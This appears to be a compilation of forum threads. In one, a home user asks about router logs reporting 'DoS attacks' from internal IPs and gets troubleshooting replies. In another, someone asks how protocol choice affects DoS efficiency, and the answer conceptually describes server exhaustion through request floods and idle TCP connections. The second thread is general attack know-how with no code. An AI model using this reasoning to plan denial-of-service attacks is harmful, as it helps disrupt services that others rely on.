What concerns me about a log entry like this is that the "attack packets" change IP address -- not just to one in my internal network, but to the computer I had used earlier that night (I was asleep when the attack packets were logged, and my computer was supposedly asleep). That makes me think the "attack packets" somehow allowed someone access to my system or my network. What is even stranger to me is, while this has been happening for a while now, the most recent entries showing this kind of remote-to-local IP switch was for a Mac machine, whereas the previous ones were related to a physically different Windows machine.

Before this last entry I took some steps to protect my network just in case. On top of upgrading my router, all of the other machines on the network have been DBAN'd and had Windows re-installed fresh, I upgraded my modem to it's newer version, I disabled wireless radio entirely on my router so there is no wireless network and no guest wireless network at all, and I also changed my external/public IP with my service provider.

Has anyone seen something like this before? Am I digging into a problem that doesn't exist, or is it possible I'm the target of some bot or attack?

Thanks for your time!

EDIT
Clarified some language and that there were multiple "source IPs" for the attack logs.

Disconnect the  "192.168.1.6" IP address from your router. If your router gateway is "192.168.1.1" then the dos attack log from 192.168.1.6 is another computer connected to your router. If you don't know how to disable it in the router settings, configure a rule in your firewall to block traffic from 192.168.1.6.

IF you are in fact experiencing a DoS attack, which I think is highly unlikely, there is very little that can be done at your end to prevent it - to put it bluntly, if a hacker, wanted to render your connection unuseable, there's no way you can stop him - you're going down - it does not matter what router you use, you will be taken down.

The question is why would he want to waste valuable resources targeting you - what's the motive, where's the benefit?

In years gone by, DoS attacks could be done very simply, but equipment manufacturers have patched their code and closed all of the simpler, less resource intensive attacks, so that for a DoS attack now to be successful, it requires a botnet, an army of compromised systems, which takes time to build, and which no hacker is going to risk exposure on a consumer.

ACK scans & FIN scans as DoS attacks are historic exploits, incapable of shutting a modern router down - the CPU should not be responding to them, they should be discarded by the NAT process, unless they occur on ports that you have forwarded.

(EDIT)
A typical DoS detection process will not respond to a single ‘attack’, it is normal for a router to have a threshold set e.g. 20 per second, but this does not tell you exactly what rate they are arriving. I would say that if the router is able to process the message and drop it, and if the logs show ‘DoS attack’ messages minutes apart then the router should not be stressed in any way simply by traffic volume as that level of traffic is quite insignificant.

If the router is reacting badly to something e.g. a malformed message then perhaps this could impact on router performance, but that’s just an assumption on my part. If I was to ask the question of engineering I would expect the answer to be along the lines of ‘not that we know of’. They would need quite detailed information to be able to investigate.

If the DoS attacks are quite regular you could perhaps capture the traffic using a Packet Capture utility e.g. Microsoft Network Monitor or Wireshark. Connect a computer directly to the modem and capture traffic over the period of time that you would expect the DoS attacks to appear. You should also try to keep your WAN MAC address consistent so that you are not allocated a different IP address when connected to the modem, this is done in the router WAN Settings by selecting the option ‘Use Computer MAC Address’. One thing I’m not entirely sure of is if the computer OS might drop malformed packets before the Packet Capture tool can see it. By the way, changing the MAC address in this way with a cable service (the opposite of what I am suggesting here) will often result in the DoS Attacks disappearing, at least temporarily.


Does the choice of protocol affect the efficiency of a DOS attack? I was wondering, to make a DOS attack you need to send something to the target you are DOS-ing. And to send something you need to use some protocol. My question is, are all protocols the same speed? And what are the protocols that DOS programms usually use? My guess the UDP because I saw online it was fatser, but I am not sure.

Bonus question: If a target is using a TCP socket to listen to a connection, and I make a connection using UDP, what will happen? Will I be able to connect or not?

In principle a DDOS attack can send completely legitimate requests and thus overload the server. For example, just use a botnet to visit some persons blog and the server will potentially collapse under the load. There is no real way to protect against this because every request looks like a real request.

However, the often more interesting case is to intentionally violate the protocol on some level to boost the efficiency of an attack. For example opening a lot of TCP connections to a server but never sending anything is very cheap for a client but the server might run out of connections (in whichever sense) because he is waiting for them to time out. These kinds of problems can often be mitigated using appropriate safeguards in code and configuration settings.

So to answer your question: (D)DOS attacks can be carried out with any applicable protocol and often become more powerful by intentionally violating parts of the protocol.